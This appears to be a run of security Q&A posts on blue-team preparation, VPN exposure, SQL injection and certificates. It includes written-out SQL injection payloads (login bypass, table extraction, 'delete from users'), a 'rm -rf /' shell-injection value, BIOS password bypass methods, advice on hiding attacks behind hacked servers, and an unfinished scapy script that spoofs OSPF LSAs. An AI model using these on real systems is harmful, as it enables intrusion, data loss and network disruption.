Preparation for Blue Team Competitions I am a CS student, and am considering competing in the National Collegiate Cyber Defense Competition.  Although I have a fair amount of experience in programming competitions (e.g. ACM at High School level, and various online competitions), I have never really considered information security competitions and/or study.

Question:  Starting from nearly ground-zero in information security and networking, how should one prepare for playing "blue team" in a competition like the CCDC?  Specifically, is there a "THE book" that would be useful to read?

(For an example, it is generally considered that Introduction to Algorithms by CLRS and The Art of Computer Programming by Knuth are definitive works for algorithm analysis.  Also, The C Programming Language by K&R is the definitive work on C.  Is there an analog for computer security?)

Note: I realize this may be closed as subjective (or similar), but I really think a question like this would add value (if not Google hits) to the site.  I figure I'll give it a try and see what the community thinks.

I recently joined my own school's cyber security club with no security knowledge and learned a lot in the months preceding the CCDC. First thing's first – linux skills are crucial; stopping and starting services, seeing who is logged into the machine, adding/dropping users, general directory structure & location of commonly needed files, familiarity with each distribution's package manager, where log files for different things are & how to read them, common ports, iptables or other basic soft firewalls, etc.
From there we looked at hardening different applications and protocols (ssh, imap, pop, active directory). We often did this by renting virtual private servers for less than a cent per hour (from places like digital ocean), but I would also suggest beefing up your linux skills through wargames like those on overthewire.org or hackthissite.org. We didn't look at networking at all, and only one out of the six teams competing used the provided hard firewall.
I'm not sure there is some go-to book for this type of stuff (there is a red team field manual field manual but no blue team counterpart??!), but there are tons of good resources on the net that will help you. I watched a lot of post-CCDC debriefs on youtube to see how teams tended to get owned and then learned about how to prevent that. Digital Ocean's knowledge base and nixcraft have great guides on how to harden basic things. You can also try googling around for other team's CCDC cheat sheets and research everything you don't recognize. The event organizers should also have some non-specific lists of technologies you may be responsible for during the competition.


VPN - Why is my NAT'ed Laptop being SSH-brute-forced by External IPs when in VPN? I am using a commercial paid licence to a VPN provider, which I use on two boxes, a FreeBSD, and a Linux BackBox.

When connected to this proxy, my interface receives a public IP from the VPN provider.

My home router has no open ports exposed to the Internet at all (I have tested all 65 thousands ports with Nmap, coming from a different IP). It is also not configured to do any port-forwarding, and I have not enabled DMZ.

Looking at my /var/log/auth.log I noticed IPs from the public domain trying to brute-force my SSH. This only happens when connected to the VPN.

How is it possible that external IPs are reaching my NAT'ed boxes? My only explanation is that they are coming through my VPN connection, but if that's the case, why are these IPs not on the same subnet as that of my proxy provider?

Ideally I would like to be able to investigate this further myself; if anyone has any tips on how I could do some further analysis/forensics, or provide further reading, I would be very grateful.

I have pasted below some snippets of my /var/log/auth.log, and the offending IPs to show how they are not on the same subnet (from the logs none seem to have managed to connect, since I have SSH disabled for user root).

/var/log/auth.log

Mar 15 11:33:18 MyBox sshd[19993]: Invalid user curis from 101.254.141.27
Mar 15 11:33:18 MyBox sshd[19993]: input_userauth_request: invalid user curis [preauth]
Mar 15 11:33:18 MyBox sshd[19993]: pam_unix(sshd:auth): check pass; user unknown
Mar 15 11:33:18 MyBox sshd[19993]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=101.254.141.27
Mar 15 11:33:21 MyBox sshd[19993]: Failed password for invalid user curis from 101.254.141.27 port 9038 ssh2
Mar 15 11:33:21 MyBox sshd[19993]: Received disconnect from 101.254.141.27: 11: Bye Bye [preauth]
Mar 15 11:33:24 MyBox sshd[19995]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=101.254.141.27  user=root
Mar 15 11:33:26 MyBox sshd[19995]: Failed password for root from 101.254.141.27 port 10549 ssh2
Mar 15 11:33:27 MyBox sshd[19995]: Received disconnect from 101.254.141.27: 11: Bye Bye [preauth]

...

Mar 17 19:13:38 MyBox sshd[4369]: reverse mapping checking getaddrinfo for 12.145.195.113.adsl-pool.jx.chinaunicom.com [113.195.145.12] failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 17 19:13:38 MyBox sshd[4369]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=113.195.145.12  user=root
Mar 17 19:13:40 MyBox sshd[4369]: Failed password for root from 113.195.145.12 port 38767 ssh2
Mar 17 19:13:55 MyBox sshd[4369]: message repeated 5 times: [ Failed password for root from 113.195.145.12 port 38767 ssh2]
Mar 17 19:13:55 MyBox sshd[4369]: error: maximum authentication attempts exceeded for root from 113.195.145.12 port 38767 ssh2 [preauth]
Mar 17 19:13:55 MyBox sshd[4369]: Disconnecting: Too many authentication failures for root [preauth]
Mar 17 19:13:55 MyBox sshd[4369]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=113.195.145.12  user=root
Mar 17 19:13:55 MyBox sshd[4369]: PAM service(sshd) ignoring max retries; 6 > 3

Some of the Offending IPs

125.64.93.78
125.212.232.112
40.117.40.125
202.83.25.95
185.110.132.54
50.56.29.14
73.240.201.33
78.22.85.130
91.64.44.228

Although I don't know the exact configuration of your device and network I can suggest a scenario that matches what you're seeing.

On your local lan you have a network adapter (let's say eth0) which has an internal non-routable IP address which is behind a NAT interface and firewall, so can't be directly contacted.

When you connect to your VPN it'll bring up another network interface (e.g. tap0) which creates an encrypted tunnel out of your network to your VPN provider.  At that point it's entirely possible that the IP address you get from your VPN provider is essentially a publicly routable one, which isn't protected by your home firewall as the tunnel bypasses this.

So if your network services (e.g. SSHD) are configured to bind to all network interfaces on your system (a pretty common configuration) when you bring up the VPN interface they'll bind to that too, then if it gets a publicly routable address they'll be "exposed" to the Internet.

You can check this by doing something like ifconfig to get a list of interfaces and IP addresss and then sudo netstat -tunap which should show what interfaces your network services are bound to.

If you see [your_vpn_address:22] or [0.0.0.0:22] then that would explain what you're seeing.


What is SQL injection? What is the meaning of SQL injection? I am not able to understand the term. And what problems may be caused by SQL injection?

SQL injection most commonly happens when a programmer builds an SQL command by appending together (or interpolating) strings, using user-supplied input.

e.g. Imagine this extract from a vulnerable piece of user authentication (login) pseudocode from a fictional web application.

username = getPostData( "username" );
password = getPostData( "password" );

sql = "select id, username from users'
      + ' where username='" + username + "' and password='" + password +"'";
result = executeQuery( sql );

if (result[ 0 ]) {
  loginUser( result[ 0 ][ 'id' ] );
  print "You are logged in as " + encodeAsHtml( result[ 0 ][ 'username' ] );
}

At first glance you may think this looks sensible, but the problem is that it makes no distinction between the user-supplied data and the SQL code; data can be treated as code. This means that a malicious user can change the logic of the SQL statement.

A malicious user could completely bypass the login protection if he could change the logic of the SQL command to produce an answer that guarantees at least one row is always returned.

For example, if he entered a real username bob, but put the password as:

' or 1=1 --

Then this would grant him access to someone else's account. This is because the resultant SQL would look like this:

select id, username
from users
where username='bob' and password='' or 1=1 --'

Note that the logical expression 1=1 always evaluates to true. Also note that the injection vector ended with two hyphens, which marks the rest of the line as a comment. Thus the SQL is logically the same as

select id, username
from users
where (username='bob' and password='') or true

which is logically the same as

select id, username
from users
where true

which is logically the same as

select id, username
from users

Thus, all the users in the database will be returned, and he will be logged in as the first one in the list - which is usually the administrator.

Also SQL injection can be used to read the all data out of the database. Entering the username as follows (SQL Server syntax) will list the user-defined table names

' union select -1, name, from sysobjects where xtype = 'U' order by id --

because this produces

select id, username
from users
where username = ''

union

select -1, name
from sysobjects
where xtype = 'U'

order by id asc

because our injected data has an id of -1 and we are sorting the data by id, the first row returned from the database will be our select in the sysobjects table. So our displayed "username" will now be the name of the first user-created table in the database. Similar techniques can be repeated to read out all the data of every column of every row of every accessible table. Please note that this can still be done even when the feature being attacked produces no output at all!

Some combinations of programming language database libraries and DBMSs also allow query-stacking. This is a technique where a whole new SQL command is appended on the end. The database will then execute both queries. Username:

'; delete from users --

produces

select id, username
from users
where username='';

delete from users

Now your application doesn't have any users (and requires SQL injection to log in).
See mandatory XKCD comic.

See this SQLi cheat sheet if you are interested in more techniques commonly used by attackers and vulnerability testers.

So how do I avoid this?

Actually, in many common scenarios, it is so easy. Prepared statements separate data from code and do not allow parameters to be treated as SQL code. Simply recode your query to use prepared statements and bind individual parameters to the placeholders.

in pseudocode:

username = getPostData( "username" );
password = getPostData( "password" );

sql = "select id, username from users where username=? and password=?";
query = prepareStatement( sql );

query.setParameter( 0, username );
query.setParameter( 1, password );
result = executePreparedStatement( query );

As always this isn't the whole story...

Don't forget to defend in depth and always do input validation too, as you always would (should). WHERE clauses need extra attention as special characters such as % may not be wanted. Be particularly careful when passing user-data as arguments to database functions and be aware how they can be abused. If you have stored procedures that generate dynamic queries you may need further protection within the procedures themselves.


How to detect if X.509 certificate belongs to CA or regular end user (host) If I understand correctly in SSL/TLS authenticity validation there are 2 (maybe more) types of certificates according to the following:

the ones that belong to CA (these contain the public key that is used to verify other certificates)
the ones that belong to end users (hosts) (these contain the public key that is used to encrypt channel between TLS client and TLS server)

Is this correct and how to detect of which type is the certificate when presented?

NOTE: I'm checking with wireshark. Server presented me 2 certificates, one for its domain name and one for its CA. I think I have to check the extensions field, probably id-ce-basicConstraint or id-ce-keyUsage.

So, there's a few ways to tell (in no particular order):

Basic Constraints: can identify a certificate as belonging to a CA or an end entity.
Key Usage: CA certs will be valid for certificate and (usually) CRL signing, and (usually) not for key encryption. Enhanced key usage information may or may not be helpful here.
Subject Name: end-entity certs will identify an end entity (such as a domain name, email address, etc.), while CA certs will identify a CA. While there's nothing technically stopping a CA from using a cert with a domain name or similar as its common name field, in practice I would never expect to see one.
Checking the signature chain: Root CA certs are self-signed, and should be found in your trust store (most web servers don't actually send these out themselves); intermediate CA certs should be signed by either root CA certs or intermediate CA certs, and end entity certs are almost always signed by intermediate CA certs, and haven't signed any certs themselves. In the situation you describe (seeing two certs in Wireshark), you can be pretty sure that the one that signed the other is a CA cert and the one that was signed is the end entity cert.


Nmap simultaneous scanning Quick Nmap question. If there are X amount of ports per machine to scan and I want to scan 2 machines at once (no more no less), is there any way of forcing nmap to always be scanning 2 different machines? Further question: If there is an odd number of machines will both threads converge on one IP or is there a way of stopping that.

I believe the flag that you're looking for would be max-parellelism

TIMING AND PERFORMANCE:
 Options which take <time> are in seconds, or append 'ms' (milliseconds),
 's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
 -T<0-5>: Set timing template (higher is faster)
 --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
 --min-parallelism/max-parallelism <numprobes>: Probe parallelization
 --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
     probe round trip time.
 --max-retries <tries>: Caps number of port scan probe retransmissions.
 --host-timeout <time>: Give up on target after this long
 --scan-delay/--max-scan-delay <time>: Adjust delay between probes
 --min-rate <number>: Send packets no slower than <number> per second
 --max-rate <number>: Send packets no faster than <number> per second


setting up ssl for cname only subdomain I've looked on for an answer on google and other forums for this question but couldn't get a solution or a hint for the scenario that I have.

I've a domain, say abc.com, which is live with ssl on wpengine. Now we need to show a third party login form on our own subdomain, you can read the 3rd party requirement for this setup here.

Now, say I need to show that 3rd party login on my own subdomain according to their steps on portal.abc.com, and the main requirement of that third party is that the subdomain must have ssl(for which we need to provide them files also) and the subdomain must then cname there domain.

The thing I can't figure out yet is how the ssl will be applied to the cname only subdomain?

Any hints or suggestions are highly appreciated.

For the certificate it does not matter if it is a CNAME or a direct (A or AAAA) DNS record, all what matters is the domain as shown in the URL. The certificate must include this domain as subject or subject alternative name, it is irrelevant if this behind the scenes points via CNAME to some other domain.

From your description I assume that abc.example is your domain. And the third party wants to provide its own content under the sub-domain portal.abc.example, served from their own servers. To provide HTTPS for this the third party would need to have a certificate for portal.abc.example and also own the private key for this certificate. This could be achieved by making portal.abc.example a DNS CNAME for third-party.example. When this is done the third party could prove that it has full control over the content of portal.abc.example and could thus get a DV (domain validated) certificate for this domain.


Bypassing the BIOS password Are there any reliable methods that allow an attacker to bypass a BIOS password, or alter BIOS settings without entering the password?

A few ideas come to mind:

The old battery trick (remove battery, wait an hour, plug battery back in)
Swap the BIOS chip. On some boards you can do this without desoldering.
Crack the BIOS password. Is this even possible?

Are any of these viable in modern machines? Are there any other ways to break into the BIOS?

(slighly off topic, but still an interesting question: are datasheets usually available for BIOS chips?)

It depends on how the BIOS chip stores the password.

If the BIOS chip stores the password in battery-backed RAM then removing the battery will clear the RAM which will restore the BIOS defaults. For most chips the BIOS default is to not require a password.

If the BIOS chip stores the password in an external Non-Volatile Memory chip (usually EEPROM) the it is usually possible to remove the NVM chip and read the password directly from the chip. Another option is to clear the NVM chip to restore the BIOS defaults.

If the BIOS chip stores the password in on-chip ROM then the password is the same for all chips and it is usually possible to Google the password. Likewise, many BIOS chips have a backup password in ROM which can be found using Google.

There may be BIOS chip which store the password in on-chip non-volatile memory (most likely One Time Programmable ROM). If such chips exist (I'm not aware of any) then the best bet would be to try and brute force the BIOS password using something like this. Of course, if someone went to the trouble (and expense) of using on-chip NVM to store passwords they might also limit the number of password attempts in a given period of time.

Things get more complicated if the BIOS password is protected by a TPM (Trusted Platform Module). For that see Tamper-proof BIOS password & settings storage with Trusted Platform Module?.


What are the security concerns with turning off Extended protection for authentication in IIS7 on ADFS? In setting up SSO for Office 365, in order to make Chrome and Firefox access services on the Intranet, Extended Protection for Authentication must be disabled on the ADFS sever.

As the ADFS server is only accessible on the Intranet, and any external logins are handled by the ADFS proxy server, is there a major security concern in regards to turning Extended Protection off?

I think you don't have to disable (ExtendedProtectionTokenCheck=None) extended protection, you just need to make it optional (Allow instead of Require).

This allows to connect incompatible clients without this protection (and vulnerable to MITM) but also allows InternetExplorer to use the additional protection. However there is no way to enforce this on the client, so it gets vulnerable to a downgrade I think.

An idea would be, that you have a special endpoint which allows skipping extended protection but will not be used by regular clients. Then only your alien clients will be vulnerable to the MITM problem. Depending on other factors this might be however not a big risk. If your employees are used to go to lunch without locking their screens you don't have to worry about it :)

MS Documentation is here: http://technet.microsoft.com/en-us/library/hh852537.aspx


Can a company using GlobalProtect see the websites I'm visiting? Let's say a company uses GlobalProtect to let their employees connect from their private PC at home with VPN to their work PC.

GlobalProtect connects automatically when the private PC at home starts up. Let's say a user visited different websites from this private PC , but forgot that GlobalProtect automatically connects at startup.

Can the company then see what websites the user has been visiting on his own private PC? And if yes, is this legal?

GlobalProtect is a lot more than just a VPN service. As such, without knowing how it has been configured, it isn't really possible to answer your question properly.

For example, since GP is able to enforce "profiles" on your PC to allow you to connect to work resources, it is entirely possible that it could enforce the use of monitoring software which could indeed track usage. I don't say that this is likely, I doubt it, but it is possible.

In addition, the answer you've given yourself certainly isn't proof. One thing that a VPN could do is called "Split Tunnelling" where some traffic may be forced to go through the VPN and some not. Of course most VPN services, when the VPN is active, will apply forced routing of most if not all traffic through the VPN at which point you may well see a different route.

You should check your browsers network settings to see if, when the VPN is turned on, you have a proxy set up to use. This again is not total proof but is a common configuration for corporate VPN's.

The other thing that can happen - and I don't know the GP product so I can't say for sure whether it can/does do this - is that a product like this can create secure "bubbles" on your PC. In that case, it is common for applications, data and network traffic for work to be wrapped up by the application and kept separate from everything else on your PC. You would normally be told this when first being set up to use the application as it is important to understand how things are kept apart. If this were the case, then your normal browsing would remain private even when the VPN is on.

As to legality. You should have been asked to sign up to some terms and conditions, possibly part of the Acceptable Use Policy. This should say what the impact is of using the VPN service with personal equipment. If not, you should request this information from your organisation as soon as possible. Organisations leave themselves open to some serious legal issues if they haven't made these things very clear.


Windows: What are the security implication of adding Network Service account to “Event Log Readers” group? I want to read security audit logs from a network service. By default, Network Service does not have permission to read but it can if the account is added to "Event Log Readers". One of the examples is mentioned here.

However, I want to understand what would be security implications of this. Does it pose a considerable security threat?

The security implication of this would be that if an application which is running under Network Service is compromised, an attacker would be able to read those event logs.

The preferred way to handle this situation is to create a new login with similar permissions to network service, and to give that access to the event logs.


Are SIEM and NIDS/HIDS complementary? I just would like to have your feedback if you were involved with Security Information and Event Management.

From your experience, do we have to add a SIEM to an existing NIDS (snort) and HIDS (ossec)? It seems to be quite huge and expensive to set up this kind of software - SIEM (and team dealing with, SOC, ...). In the end, companies may be neglecting it. Are NIDS/HIDS not enough to ensure security monitoring?

According to me in most cases SIEM is a political decision (budget) over a real need.

SIEM is nothing more than a central repo for all your monitoring systems (NIDS/HIDS) to report to. Grant it provides certain benefits but as you stated cost and deployment is rather large.

You don't buy a SIEM because your boss heard SIEM from a vendor, and thought hey we should have that. You buy them when the system grows to a size where it becomes more cost effective to add a system rather people. This varies based on how active your company is at actually looking into issues.

Remember SIEM doesn't just apply IDS system. It's quite broad and with systems like Splunk are quite versatile. Logs, SMS, email, etc which can come from all systems.


HTML Input of type text for passwords A site (I won't name it) is using an input of type text for its password field in an HTML form. The onfocus method then changes those characters to dots.

Is there a security breach here ?

Or is it more secure than using an input of type password ?

Or is it just a lost opportunity to leverage existing code ?

This is a vulnerability. If users have JavaScript disabled, their passwords will not be changed to dots, and thus they are vulnerable to shoulder surfing.

As user @Question Overflow points out in their comment to your question, clicking outside the field would also display the password. Which means a co-worker could see the user's password by taking their mouse for a moment - even accidentally.


Would running VMs inside of VMs be a more secure way to study viruses, etc? I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, what if the virus considers the 1st VM as the Host OS? Or what if you had a Windows box, Linux VM, then a Windows VM? Surely this cross-platforming would be extremely hard to get across / subvert. Would this be an ideal way for someone to study viruses or malware if they couldn't afford the correct tools? Surely a firewall and antivirus scanner on each "system" would be good enough to protect the real host, unless it was a pretty badass virus.

Firstly, there is no guarantee you'll even be able to run a VM inside a VM. It may seem obvious but it is by no means certain it will even work. This is because VM's may rely on virtualization features of your hardware which are not exposed inside the VM itself.

Secondly, why two, why not three, four, five, etc... There is such a thing as overkill security. If the virus can "escape" the inner VM, then it can just as easily escape the outer VM, and reach the host. Besides, most viruses transmit themselves via the network and not through some hole in the VM, and in that case just nesting VM's changes nothing since the host network will be equally visible on every level.

If your virus is dangerous enough for you to even consider nesting multiple virtual machines, it must be one hell of a virus, and consequently you should just grab a cheap netbook with no network/bluetooth capability and roll with that. Otherwise, a single VM ought to be enough.


How hackers hide their identity while hacking? I was wondering how hackers hide their identities while hacking? For instance, consider an attacker who wants to hack a website that has a SQL injection vulnerability. If the attacker uses automated tools to send malicious payloads, the admin of the website can check the payload sender's IP and readily find who sends these payloads.
What is it required for attackers to change their IP addresses or use proxy tools every time they want to attack a website?

You can do a lot of things to hide your public IP address. You can:

Purchase a VPN or VPS (preferably in bitcoin)
Route your traffic through the tor network
Use a proxy service

These are all well and good, but often, tor nodes and VPN IP addresses are flagged and banned from accessing some sites and services. In this case, you can:

Hack a website and use that server to launch an attack
Buy an "RDP session" to a residential network on the dark net


Are leet passwords easily crackable? Making a strong password AND remembering it is like eating while talking. You choke. So the same thing might happen if you have a p455w0(R).|L1K3thys and someone cracks it. I'm just not sure if it's actually true. Are these leet passwords more crackable than completely random passwords that a random password generator makes? Are there any leet password crackers out there? Is there a way to safely simulate a penetration test on some offline leet passwords?

I think Trey Blalocks answer is great, but I would like to complement it with some math.

If your password is randomly picked from the 171,476 words in the Oxford English Dictionary you get log2(171476) or about 17.4 bits of entropy.

Lets assume there is about 4 natural leet substitution in the average word. Randomly either doing or not doing each substitution adds one bit, so adding the leet would increase the entropy by 4 bits, meaning it takes 16 times as long to crack. (If you just use leet for all available substitution you just add one bit - the password is either leet or not leet.)

On the other hand, a completely random 8 character alphanumeric (upper and lower case) password has log2(62^8) or about 47.6 bits of entropy. That means it takes a bit more than a billion times as long to crack!

So adding leetspeak is slightly better than just taking an english word, but it is not nearly as good as randomizing.


Good session practices What are some good practices for ensuring logins, session IDs and session content are secure for a website?

Use a database for sessions.
Regenerate the session on when the
permissions change (e.g., when a user
logs in).
Regenerate the session on every page
load (optional).
Don't expose the session ID in the
URL.
Don't expose any sensitive data to the session.


What is the purpose of OAuth 2.0 redirect_uri checking? The OAuth 2.0 specification's authorization code mechanism includes redirect URI checking from the site you redirect to. See steps D and E in section 4.1 of the spec. Also, section 4.1.3 describes in detail that the redirected-to client needs to transmit redirect_uri, and that it needs to match that of the initial authorization request.

I can't think of any attack vector that is mitigated by this being a part of the protocol. Why is this redirect_uri check necessary?

By not validating the redirect_uri an OAuth provider can be used as an ideal phishing vector.    The redirect_uri is an address used by OAuth providers as a location to deliver the access_token by means of a browser redirect.  The popular OAuth provider Facebook has run into many vulnerabilities relating to OAuth redirection.

In this attack, the attacker presents the victim with a URL to an authentication portal that the victim trusts (like Facebook),  and by using this authentication portal the victim's secret access token is delivered to an HTTP server controlled by the attacker.

Authentication is about intention,  tricking a user into allowing access to an unintended resource is a vulnerability.


Is there a way to verify a root CA cert bundle? I have on my linux machine a set of root CA certs.   I'd like to make sure none of the CA certs are compromised or bogus.

Any suggestions on how to do this?

Usually known certificate authorities publish their root certificates on their websites.

For eg:

Verisign has their list at: https://www.symantec.com/theme/roots
Thwate has their list at: https://www.thawte.com/roots/

Ideally you'll check the certs you've got against equivalent fingerprints published on the respective websites.

On a linux machine, certs are stored at /etc/ssl/certs. The following command gives the fingerprint of a Thawte Primary Root CA G2 cert:

openssl x509 -in thawte_Primary_Root_CA_-_G2.pem -sha1 -fingerprint -noout

The fingerprint produced by the certs above can be looked up on the Thawte website. Similarly all root certs can be verified manually.

Caveat

The method above works for well known CAs like Verisign, Thawte. However there is no certain way to find out if the website of a lesser known root cert is legitimate. An attacker can somehow insert their root cert in your bundle and also host a website with the fingerprint of that cert. While not foolproof, general google search for each cert serial numbers + fingerprint pair should give enough pointers to vet most of the certs.

Also, comparing your certs with a good reference bundle, eg. one that comes with a fresh install of firefox, can be a good way to verify the certs. Obviously, the premise here is that you trust the firefox maintainers to make sure their build doesn't have a fake certificate.
https://mozillacaprogram.secure.force.com/CA/IncludedCACertificateReport

Finally, who do you trust

Suppose you find a certificate which has no presence on google/internet. Sometimes, companies install their internal root CA certs in all employee PCs/laptops. This is on purpose to allow intranet sites to be signed by internal CAs (and avoid paying verisign for certs) as well as to MITM the connections of users (yes this is not uncommon). In such a case, it boils down to what entity do you consider as trusted and what entity is malicious. One needs to use their own judgement in such situations.


passing user input to command line I am using crack lib to check password strength for my web application. However, I’m concerned about whether or not my current implementation is secure.

The user enters a password, which is then their run through the following node.js code:

      var checkPassword = exec('echo "'+password+ '"| cracklib-check\n', function(err, stdout, stderr) {
     if (stderr) {
        reject(stderr);
     } else if (err) {
        reject(err);
     } else if (stdout) {
        resolve(stdout);
     } else {
        reject('Password Validation Failed');
     }
  });

because the password is being concatenated into the command, it seems like an attack as possible, Kind of like SQL injection. Is this approach secure, and if not, how do I fix it? If I were to blacklist double quotes, would that avoid all potential issues?

because the password is being concatenated into the command, it seems like an attack as possible, Kind of like SQL injection.

Indeed, it's very easy to do a "; rm -rf / ;"-type attack.

  If I were to blacklist double quotes, would that avoid all potential issues?

It's far more secure to avoid passing commands through a shell at all.  You should instead be using the exec family of functions (or rather, an appropriate wrapper around them in your language of choice), where you pass a pre-parsed command; this is much more failsafe than trying to implement a shell quoting blacklist.  Most language's wrappers will also provide an easy way to pass stdin to the command, which is the only thing you're using multiple processes and a pipeline for.

You still need to consider other possibilities of attack (for instance, does cracklib-check consume a lot of resources when passed a very long string?  Then you've opened yourself up to a classic Denial of Service attack), but it will at least avoid the injection-type holes.


What is the purpose of the "Password minimum age" setting? What additional security can a "password minimum age" provide?

For example: the user can change their password only after 24 hours have elapsed since the last password change.

It is normally used in conjunction with a setting to prevent re-use of X number of previous passwords - the minimum password age is intended to discourage users from cycling through their previous passwords to get back to a preferred one.

Obviously the effectiveness is dependent on both the minimum password age setting and the users.


Prevent BEAST attack without RC4 cipher suites It is common practice to prevent the BEAST attack using the following ciphers in Apache SSL configuration:

SSLCipherSuite RC4-SHA:HIGH:!ADH

Unfortunately, RC4 has been found to be flawed and it is now recommended to avoid its use.

From a Nessus report:

  SSL RC4 Cipher Suites Supported

  The remote host supports the use of RC4 in one or more cipher suites.
  The RC4 cipher is flawed in its generation of a pseudo-random stream
  of bytes so that a wide variety of small biases are introduced into
  the stream, decreasing its randomness.

  If plaintext is repeatedly encrypted (e.g. HTTP cookies), and an
  attacker is able to obtain many (i.e. tens of millions) ciphertexts,
  the attacker may be able to derive the plaintext.

  Solution

  Reconfigure the affected application, if possible, to avoid use of RC4
  ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
  and web server support.

I have tried to use the following ciphers in my Apache SSL configuration:

SSLCipherSuite HIGH:!ADH:!MD5

Unfortunately, this is vulnerable to BEAST. How can I prevent this without using RC4 cipher suites?

We run on CentOS 6.5 and use the following SSL protocols:

SSLProtocol -ALL -SSLv3 +TLSv1

BEAST is a client-side attack, so all you can do on the server side is to avoid letting unaware clients put themselves in a BEAST-vulnerable position. However, modern clients (Web browsers) are not vulnerable to BEAST anyway:

Clients use record splitting (usually 1/n-1) as a countermeasure.
BEAST requires the hostile in-browser code (in Java or Javascript) to be able to send requests to the target site with arbitrary byte values; no method for doing that is currently known (at the time of the BEAST demo, the authors had found two flaws that allowed that, but they were both fixed since that time).

A client that is still vulnerable to BEAST is a client that has not been updated for several years, which means that it already has bigger problems.

A more general solution is to use TLS 1.1 or 1.2, which are not vulnerable to that specific attack. However, even when clients support such protocols, they also tend to indulge in unbridled reconnections that make them vulnerable to protocol downgrade attacks.

Arguably, tools and people who whine and grind their teeth about BEAST are in sore need of an update themselves. "BEAST prevention" has turned into a toxic dogma, parroted ad nauseam without any decent understanding of what it really means.


What are the security trade-offs of using reproducible builds? From reproducible-builds.org:

  Reproducible builds are a set of software development practices that create a verifiable path from human readable source code to the binary code used by computers.

In general, it means that given the same source code, you end up with the identical binary. I see that the concept has lots of advantages, but I wonder whether there are disadvantages when you are no longer allowed to use any form of randomization during compilation.

What are the implications of switching to reproducible builds?

Against which types of attacks will it improve security?
Against which types of attacks will it reduce security by preventing compilation techniques based on randomization?

Against which types of attacks will it reduce security by preventing
  compilation techniques based on randomization?

You may be thinking about a technique like Address Space Layout Randomization (ASLR).  However, ASLR is not a compilation technique; it is not created in the compiler or the linker.  ASLR is a function of the run time environment's operating system.  It is in the part of the OS that loads the code into memory at a random position every time it's loaded.

Distributed code is never random.  In some rare cases it may be unique based on watermarking or licensing schemes, but the only purpose of those techniques is for the author to enforce copy protection, licensing, or billing.  These are exactly opposed to the purpose of reproducible builds.


How exactly are physically unclonable functions used in authenticaton if they are unclonable? There is ongoing and quite promising research with prototypes presented about using physically unclonable functions (PUFs) in authentication. If they are practically unclonable, how is a PUF-based device authenticated?

If they are practically unclonable, how is a PUF-based device authenticated?

Consider the example of a smart-card chip, assuming that it has a puf-based circuit. If reliable enough then this chip will produce a unique key for a given challenge.

Even if an adversary attempts to replicate the same circuit with the same response the output key will be different provided. As process variation is naturally occurring variation,when integrated circuits are fabricated. Due to process variation, each transistor parameters follows a gaussian distribution with a specific variance. With better fabrication process, this variance can be reduced but can't be neglected completely. So as long as process variation is there different puf-circuit will produce the unique key, provided they meet certain puf-standards.


Is a bank's affiliate that provides services to the bank issuer required to show compliance or certification to PCI DSS Is a bank's affiliate that provides services to the bank issuer required to demonstrate compliance or certification to PCI DSS?  If so, how is this typically done?

Both Visa and Mastercard require their issuing banks to only use third party service providers that are compliant with the relevant PCI standards. So it all depends on what services are being provided and therefore what the card scheme requires (because there are more PCI standards than just PCI DSS).

If the service provider is just doing stuff with  cardholder data and not providing services where other PCI standards apply (eg card personalisation) then typically the issuing bank will specify compliance with PCI DSS in the contract - the service provider would need to have an annual onside assessment by a QSA and provide a ROC to the issuer. Also Visa (I am not as familiar with the Mastercard rules) would require the bank to register the service provider with Visa and the service provider would also have to provide their RoC directly to Visa.


How to trace a DDOS attack on a dedicated server and block it? I have a dedicated server and I'm hosting a game, and the web page (using Apache) for account registering.

The server is being ddosed since 8 months ago till today. I've tried to talk with the server provider but they couldn't help me.

When the server is under attack, the remote desktop is down, and so is the webserver and server console, and I need to talk with the provider to tell them to restart my server.

Could I add a program or something to trace the activity and to identify the type of attack (the source) then block it?

Are you sure this is a real DDoS? Over an 8 month period you would think that the "attackers" would find something better to do. Did you implement an update in the game around that time that causes it to fail an authentication procedure or something similar?

you can disable UDP as per this answer, however note the answerer's warning

  "I've NEVER encountered a situation where turning off UDP was a good idea. It seems like you're trying to secure your system by randomly turning things off, without understanding what you're doing, or how security works. Please don't."


How to conduct a disguised LSA attack against OSPF? I want to do disguised LSA attacks on OSPF network and be able to more analyze, so I do not know how it works in practice. This is a penetration test.

The attack is described in the address [+]. I have run the network are as follows:

Source program in accordance with the above photo are as follows:

#!/usr/bin/env python

from scapy.all import *
load_contrib("ospf")
#from ospf import *
from time import sleep,clock,time

def ourSend(packet):
    sendp(packet,iface='eth0')     # is 192.168.184.131
#    sleep(2)

def ourSend2(packet):
    sendp(packet,iface='eth1') # is 192.168.57.20
#    sleep(2)

victim='172.16.1.1'          #This is the IP address of interface through which the victim will receive the trigger LSA.
victimId='1.1.1.1'           #This the router ID of the victim router.
victimNeighbor='172.16.1.2'  #This is the IP address of a neighbor of the victim router to which the disguised LSA is sent
spoofSRC='192.168.184.131'           #This is an IP address of one of the neighbors of the victim. It is used as a spoofed IP

host1='192.168.1.0'      #This will used in the bogus Link entries in the disguised LSA.
host2='192.168.2.0'      #This will used in the bogus Link entries in the disguised LSA.
sequence=7               #The sequence number of the disguised LSA

#The bogus Link entries to be included in the disguised LSA. The contents of the last link (collisionLink) is chosen
# so that the LSA will have a specific checksum desirable to our network example (0x2028 in this example). The contents of this link has been
# calculated offline.
link2host1 = OSPF_Link(id=host1,data='255.255.255.255',type=3)
link2host2 = OSPF_Link(id=host2,data='255.255.255.255',type=3)
link2victim = OSPF_Link(id=victimId,data=victim,type=2)
collisionLink = OSPF_Link(id='0.0.0.0',data='0.0.0.0',type=0,toscount=27,metric=156)

# Build the trigger LSA. Note that it is sent with sequence number that is smaller by one from the sequence of the disguised packet.
IPlayer=IP(src=spoofSRC,dst=victim)
OSPFHdr=OSPF_Hdr(src=spoofSRC)
